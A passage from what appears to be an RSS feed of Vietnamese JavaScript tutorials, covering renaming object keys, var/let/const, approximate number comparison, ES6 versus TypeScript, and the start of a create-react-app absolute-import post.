class="token keyword">let</span> <span class="token function-variable function">renameObjectKey</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// gán giá trị của name vào thuộc tính `firstName`</span> object<span class="token punctuation">.</span>firstName <span class="token operator">=</span> object<span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token comment">// xóa thuộc tính `name`</span> <span class="token keyword">delete</span> object<span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">renameObjectKey</span><span class="token punctuation">(</span>object<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>object<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {age: 20, gender: 'Male', firstName: 'Hello'}</span></code></pre></div> <p>Giả sử, bạn cần thay đổi thuộc tính <code>age</code> thành <code>currentAge</code> thì cách làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> object <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">20</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"Male"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token function-variable function">renameObjectKey</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// gán giá trị cũ vào thuộc tính mới</span> object<span class="token punctuation">.</span>firstName <span class="token operator">=</span> object<span class="token punctuation">.</span>name<span class="token punctuation">;</span> object<span class="token punctuation">.</span>currentAge <span class="token operator">=</span> object<span class="token punctuation">.</span>age<span class="token punctuation">;</span> <span class="token comment">// xóa thuộc tính mới</span> <span class="token keyword">delete</span> object<span class="token punctuation">.</span>name<span class="token punctuation">;</span> <span class="token keyword">delete</span> object<span class="token punctuation">.</span>age<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">renameObjectKey</span><span class="token punctuation">(</span>object<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>object<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {gender: 'Male', firstName: 'Hello', currentAge: 20}</span></code></pre></div> <p>Tóm lại, với cách 1 thì kết quả thu được đã như mong muốn. Tuy nhiên có hai vấn đề là:</p> <ul> <li>Vị trí các thuộc tính trong đối tượng đã bị thay đổi.</li> <li>Khó mở rộng khi bạn cần thay đổi tên nhiều thuộc tính.</li> </ul> <h2 id="cách-2" style="position:relative;"><a href="#c%C3%A1ch-2" aria-label="cách 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 2</h2> <p>Trong cách 2, mình sẽ khai báo một hàm với đầy đủ tham số để giải quyết bài toán. Hàm này nhận vào hai tham số là:</p> <ul> <li><code>keysMap</code> là đối tượng với các cặp <strong>key - value</strong> tương ứng với <strong>tên cũ - tên mới</strong>.</li> <li><code>object</code> là đối tượng cần thay đổi key.</li> </ul> <p>Bên trong hàm, mình sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"><code>Object.keys()</code></a> để trả về một mảng các key trong <code>object</code>.</p> <p>Sau đó, mình dùng phương thức <a href="/ung-dung-cua-reduce-javascript/"><code>reduce</code></a> kết hợp với <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">toán tử spread</a> để biến đổi <code>object</code> cũ thành đối tượng mới.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> object <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">20</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"Male"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token function-variable function">renameKeys</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">keysMap<span class="token punctuation">,</span> object</span><span class="token punctuation">)</span> <span class="token operator">=></span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>object<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">acc<span class="token punctuation">,</span> key</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token operator">...</span>acc<span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">{</span> <span class="token punctuation">[</span>keysMap<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">||</span> key<span class="token punctuation">]</span><span class="token operator">:</span> object<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token function">renameKeys</span><span class="token punctuation">(</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"firstName"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"currentAge"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> object <span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {firstName: 'Hello', currentAge: 20, gender: 'Male'}</span></code></pre></div> <p>Như bạn thấy, cách làm này đã giải quyết được hai vấn đề của cách 1 là:</p> <ul> <li>Giữ được vị trí của các thuộc tính và cả giá trị tương ứng.</li> <li>Dễ dàng thêm các thuộc tính (cần đổi tên).</li> </ul> <p>Tham khảo:</p> <ul> <li><a href="/object-la-gi-object-trong-javascript/">Object là gì? Object trong JavaScript</a></li> <li><a href="/ham-la-gi-ham-trong-javascript/">Hàm là gì? Hàm trong JavaScript</a></li> <li><a href="/arrow-function-la-gi-arrow-function-trong-js/">Arrow function là gì? Arrow function trong JS</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-replace-the-names-of-multiple-object-keys-with-the-values-provided-using-javascript/">How to replace the names of multiple object keys with the values provided using JavaScript?</a></li> </ul>[email protected]<![CDATA[Các cách khai báo biến trong JavaScript]]><![CDATA[Trong JavaScript, bạn có thể khai báo biến theo nhiều cách khác nhau bằng cách sử dụng các từ khóa khác nhau. Mỗi từ khóa có một số lý do hoặc tính năng cụ thể. Về cơ bản, bạn có…]]>https://completejavascript.com/cac-cach-khai-bao-bien-trong-javascript/https://completejavascript.com/cac-cach-khai-bao-bien-trong-javascript/<![CDATA[Câu hỏi JS ES6]]>Mon, 09 May 2022 21:15:00 GMT<p>Trong JavaScript, bạn có thể khai báo biến theo nhiều cách khác nhau bằng cách <strong>sử dụng các từ khóa khác nhau</strong>. Mỗi từ khóa có một số lý do hoặc tính năng cụ thể.</p> <p>Về cơ bản, bạn có thể khai báo biến theo <strong>ba cách khác nhau</strong> với các từ khóa là:</p> <ul> <li>Từ khóa <code>var</code>.</li> <li>Từ khóa <code>let</code>.</li> <li>Từ khóa <code>const</code>.</li> </ul> <p>Mỗi từ khóa được sử dụng trong một số điều kiện cụ thể.</p> <h2 id="khai-báo-biến-với-var" style="position:relative;"><a href="#khai-b%C3%A1o-bi%E1%BA%BFn-v%E1%BB%9Bi-var" aria-label="khai báo biến với var permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khai báo biến với "var"</h2> <p>Từ khóa <code>var</code> dùng để khai báo biến trên toàn cục.</p> <p>Nếu bạn sử dụng từ khóa này để khai báo biến thì biến đó có thể truy cập toàn cục và cũng thay đổi được.</p> <p>Cách này tuy đã lỗi thời nhưng vẫn có thể dùng tốt nếu số lượng dòng code ngắn. Ngược lại, bạn sẽ rất dễ bị nhầm lẫn.</p> <p><strong>Cú pháp:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> variableName <span class="token operator">=</span> <span class="token string">"giá trị của biến"</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Ví dụ:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token string">"Complete JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Complete JavaScript</span></code></pre></div> <h2 id="khai-báo-biến-với-let" style="position:relative;"><a href="#khai-b%C3%A1o-bi%E1%BA%BFn-v%E1%BB%9Bi-let" aria-label="khai báo biến với let permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khai báo biến với "let"</h2> <p>Từ khóa <code>let</code> dùng để khai báo biến cục bộ.</p> <p>Nếu bạn sử dụng từ khóa này để khai báo biến thì biến đó có thể truy cập trong phạm vi cục bộ và cũng thay đổi được.</p> <p>Cách khai báo biến này tốt kể cả khi số lượng dòng code trở nên nhiều hơn.</p> <p><strong>Cú pháp:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> variableName <span class="token operator">=</span> <span class="token string">"giá trị của biến"</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Ví dụ:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token string">"Complete JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Complete JavaScript</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Uncaught ReferenceError: x is not defined</span> <span class="token comment">// Lỗi vì x chưa được định nghĩa.</span></code></pre></div> <h2 id="khai-báo-biến-với-const" style="position:relative;"><a href="#khai-b%C3%A1o-bi%E1%BA%BFn-v%E1%BB%9Bi-const" aria-label="khai báo biến với const permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khai báo biến với "const"</h2> <p>Từ khóa <code>const</code> được sử dụng để khai báo biến cục bộ.</p> <p>Nếu bạn dùng từ khóa này để khai báo biến thì biến chỉ có thể truy cập được trong khối đó, tương tự như biến được định nghĩa với <code>let</code>.</p> <p>Và sự khác biệt giữa <code>let</code> và <code>const</code> là: bạn không thể gán lại giá trị cho các biến được khai báo với từ khóa <code>const</code>.</p> <p>Vì vậy, bạn nên gán giá trị trong khi khai báo biến với <code>const</code>.</p> <p><strong>Cú pháp:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> variableName <span class="token operator">=</span> <span class="token string">"giá trị của biến"</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Ví dụ:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token string">"Complete JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Complete JavaScript</span> x <span class="token operator">=</span> <span class="token string">"other"</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Uncaught TypeError: Assignment to constant variable.</span> <span class="token comment">// Lỗi khi gán lại giá trị cho hằng số.</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/bien-la-gi-bien-trong-javascript/">Biến là gì? Biến trong JS</a></li> <li><a href="/hang-la-gi-hang-trong-javascript/">Hằng là gì? Hằng trong JS</a></li> <li><a href="/phan-biet-var-va-let-trong-javascript/">Phân biệt var và let trong JavaScript</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-declare-variables-in-different-ways-in-javascript/">How to declare variables in different ways in JavaScript?</a></li> </ul>[email protected]<![CDATA[Cách kiểm tra hai số gần bằng nhau trong JavaScript]]><![CDATA[Cho hai số và nhiệm vụ là kiểm tra hai số đó có xấp xỉ bằng nhau hay không. Nếu hai số gần bằng nhau thì trả về true, ngược lại trả về false. Ví dụ kiểm tra hai số gần bằng nhau…]]>https://completejavascript.com/kiem-tra-hai-so-gan-bang-nhau-trong-javascript/https://completejavascript.com/kiem-tra-hai-so-gan-bang-nhau-trong-javascript/<![CDATA[Câu hỏi JS ES6]]>Mon, 09 May 2022 21:00:00 GMT<p>Cho hai số và nhiệm vụ là kiểm tra hai số đó có <strong>xấp xỉ bằng nhau hay không</strong>. Nếu hai số gần bằng nhau thì trả về <code>true</code>, ngược lại trả về <code>false</code>.</p> <h2 id="ví-dụ-kiểm-tra-hai-số-gần-bằng-nhau" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-ki%E1%BB%83m-tra-hai-s%E1%BB%91-g%E1%BA%A7n-b%E1%BA%B1ng-nhau" aria-label="ví dụ kiểm tra hai số gần bằng nhau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ kiểm tra hai số gần bằng nhau</h2> <p><strong>Đầu vào:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">num1 <span class="token operator">=</span> <span class="token number">10.3</span><span class="token punctuation">;</span> num2 <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Đầu ra:</strong> <code>true</code></p> <h2 id="hướng-tiếp-cận" style="position:relative;"><a href="#h%C6%B0%E1%BB%9Bng-ti%E1%BA%BFp-c%E1%BA%ADn" aria-label="hướng tiếp cận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hướng tiếp cận</h2> <p>Để kiểm tra các số có gần bằng nhau hay không, trước tiên, bạn phải quyết định giá trị <code>epsilon</code>.</p> <p><strong>Epsilon</strong> là hiệu số lớn nhất giữa hai số. Nếu hiệu của hai số <strong>nhỏ hơn hoặc bằng epsilon</strong> thì hai số đó xấp xỉ bằng nhau.</p> <p>Vì vậy, đầu tiên bạn tạo hàm <code>checkApprox</code> có ba đối số là <code>num1</code>, <code>num2</code> và <code>epsilon</code>.</p> <p>Bây giờ, hãy kiểm tra <strong>giá trị tuyệt đối</strong> của <code>num1</code> và <code>num2</code> có nhỏ hơn epsilon hay không.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// giá trị epsilon là tùy bạn định nghĩa</span> <span class="token keyword">const</span> <span class="token function-variable function">checkApprox</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">num1<span class="token punctuation">,</span> num2<span class="token punctuation">,</span> epsilon <span class="token operator">=</span> <span class="token number">0.004</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">abs</span><span class="token punctuation">(</span>num1 <span class="token operator">-</span> num2<span class="token punctuation">)</span> <span class="token operator">&lt;</span> epsilon<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Các ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">checkApprox</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">num1<span class="token punctuation">,</span> num2<span class="token punctuation">,</span> epsilon <span class="token operator">=</span> <span class="token number">0.004</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">abs</span><span class="token punctuation">(</span>num1 <span class="token operator">-</span> num2<span class="token punctuation">)</span> <span class="token operator">&lt;</span> epsilon<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">checkApprox</span><span class="token punctuation">(</span><span class="token number">10.003</span><span class="token punctuation">,</span> <span class="token number">10.001</span><span class="token punctuation">,</span> <span class="token number">0.005</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">checkApprox</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token constant">PI</span> <span class="token operator">/</span> <span class="token number">2.0</span><span class="token punctuation">,</span> <span class="token number">1.5708</span><span class="token punctuation">,</span> <span class="token number">0.004</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">checkApprox</span><span class="token punctuation">(</span><span class="token number">0.003</span><span class="token punctuation">,</span> <span class="token number">0.03</span><span class="token punctuation">,</span> <span class="token number">0.004</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/ham-la-gi-ham-trong-javascript/">Hàm là gì? Hàm trong JavaScript</a></li> <li><a href="/doi-tuong-global-trong-javascript/">Đối tượng global trong JavaScript</a></li> <li><a href="https://www.geeksforgeeks.org/difference-between-es6-and-typescript/">Difference between ES6 and TypeScript</a></li> </ul>[email protected]<![CDATA[Khác nhau giữa ES6 và TypeScript]]><![CDATA[ECMAScript 6 (ES6) ES6 còn được gọi là ECMAScript 2015 vì được phát hành vào năm 2015. ES6 cho phép các nhà phát triển khởi tạo một đối tượng bằng toán tử new, sử dụng arrow…]]>https://completejavascript.com/khac-nhau-es6-va-typescript/https://completejavascript.com/khac-nhau-es6-va-typescript/<![CDATA[Câu hỏi JS ES6]]>Sun, 08 May 2022 22:30:00 GMT<h2 id="ecmascript-6-es6" style="position:relative;"><a href="#ecmascript-6-es6" aria-label="ecmascript 6 es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ECMAScript 6 (ES6)</h2> <p>ES6 còn được gọi là ECMAScript 2015 vì được phát hành vào năm 2015.</p> <p>ES6 cho phép các nhà phát triển khởi tạo một đối tượng bằng <a href="/cu-phap-new-function-trong-javascript/">toán tử <code>new</code></a>, sử dụng <a href="/arrow-function-la-gi-arrow-function-trong-js/">arrow function</a> và <a href="/tag/es6/">nhiều tính năng khác</a>...</p> <h2 id="typescript" style="position:relative;"><a href="#typescript" aria-label="typescript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TypeScript</h2> <p><a href="https://www.typescriptlang.org/">TypeScript</a> là một ngôn ngữ lập trình hướng đối tượng mã nguồn mở, được khởi chạy và giới thiệu vào 1/10/2012.</p> <p>TypeScript tuân theo cú pháp JavaScript nhưng bổ sung thêm nhiều tính năng riêng biệt.</p> <p>TypeScript được phát triển và duy trì bởi Microsoft theo giấy phép của Apache 2.</p> <p>TypeScript không trực tiếp chạy trên trình duyệt và cần phải biên dịch ra JavaScript trước khi chạy.</p> <h2 id="sự-khác-biệt-giữa-es6-và-typescript" style="position:relative;"><a href="#s%E1%BB%B1-kh%C3%A1c-bi%E1%BB%87t-gi%E1%BB%AFa-es6-v%C3%A0-typescript" aria-label="sự khác biệt giữa es6 và typescript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sự khác biệt giữa ES6 và TypeScript</h2> <ol> <li>Tổng quan:</li> </ol> <ul> <li>ECMA script 6 là phiên bản thứ 6 của đặc tả ngôn ngữ kịch bản đã đăng ký nhãn hiệu ECMAScript do ECMA xác định.</li> <li>TypeScript là một ngôn ngữ lập trình hướng đối tượng thuần túy mã nguồn mở, miễn phí, được phát triển và duy trì bởi Microsoft.</li> </ul> <ol start="2"> <li>Kiểu dữ liệu hỗ trợ:</li> </ol> <ul> <li>ES6 không hỗ trợ tất cả các kiểu dữ liệu.</li> <li>TypeScript hỗ trợ tất cả các kiểu dữ liệu nguyên thủy.</li> </ul> <ol start="3"> <li>Thời gian phát hành:</li> </ol> <ul> <li>ES6 được giới thiệu vào năm 2015.</li> <li>TypeScript được giới thiệu vào năm 2012.</li> </ul> <ol start="4"> <li>Tính năng Generics, Type Annotations, Inference, Enums, và Interfaces:</li> </ol> <ul> <li>ES6 không hỗ trợ.</li> <li>TypeScript có hỗ trợ.</li> </ul> <ol start="5"> <li>Modules:</li> </ol> <ul> <li>ES6 module có thể được sử dụng bằng cách dùng <code>import</code> và <code>export</code>.</li> <li>TypeScript module có 2 loại: internal module và external module.</li> </ul> <ol start="6"> <li>Tính linh hoạt:</li> </ol> <ul> <li>ES6 tương đối linh hoạt hơn trong thời gian phát triển.</li> <li>TypeScript loại bỏ các lỗi phát triển.</li> </ul> <ol start="7"> <li>Phạm vị biến:</li> </ol> <ul> <li>ES6 có hai phạm vi là: phạm vi toàn cục (global) và phạm vi cục bộ (local).</li> <li>TypeScript có ba phạm vi là: phạm vi toàn cục (global), phạm vi class và phạm vi cục bộ (local).</li> </ul> <ol start="8"> <li>Danh sách các công ty lớn sử dụng:</li> </ol> <ul> <li>ES6 được sử dụng bởi: Slack, StackShare, eBay, Asana, Intuit, Swat.io...</li> <li>TypeScript được sử dụng bởi: Slack, Asana, CircleCI, Intuit, Swat.io, Avocode...</li> </ul> <p>Tham khảo:</p> <ul> <li><a href="/bien-la-gi-bien-trong-javascript/">Biến là gì? Biến trong JS</a></li> <li><a href="https://www.geeksforgeeks.org/difference-between-es6-and-typescript/">Difference between ES6 and TypeScript</a></li> </ul>[email protected]<![CDATA[Absolute import với create-react-app]]><![CDATA[Như mình đã giới thiệu trong bài viết deploy ứng dụng React lên Github Pages, Create-react-app là một toolchain giúp bạn code React mà không cần quan tâm đến vấn đề cấu hình. Mặc…]]>https://completejavascript.com/absolute-import-voi-create-react-app/https://completejavascript.com/absolute-import-voi-create-react-app/<![CDATA[Create-react-app]]>Sat, 02 Apr 2022 21:20:00 GMT<p>Như mình đã giới thiệu trong bài viết <a href="/deploy-ung-dung-react-len-github-pages/">deploy ứng dụng React lên Github Pages</a>, Create-react-app là một toolchain giúp bạn code React mà không cần quan tâm đến vấn đề cấu hình.</p> <p>Mặc định, bạn cần sử dụng <strong>đường dấn tương đối</strong> để import các components hay modules. Và trong bài viết này, mình sẽ giới thiệu với bạn cách để sử dụng <strong>đường dẫn tuyệt đối</strong> hay <strong>absolute import</strong> với create-react-app.</p> <h2 id="vấn-đề-khi-dùng-đường-dẫn-tương-đối" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-khi-d%C3%B9ng-%C4%91%C6%B0%E1%BB%9Dng-d%E1%BA%ABn-t%C6%B0%C6%A1ng-%C4%91%E1%BB%91i" aria-label="vấn 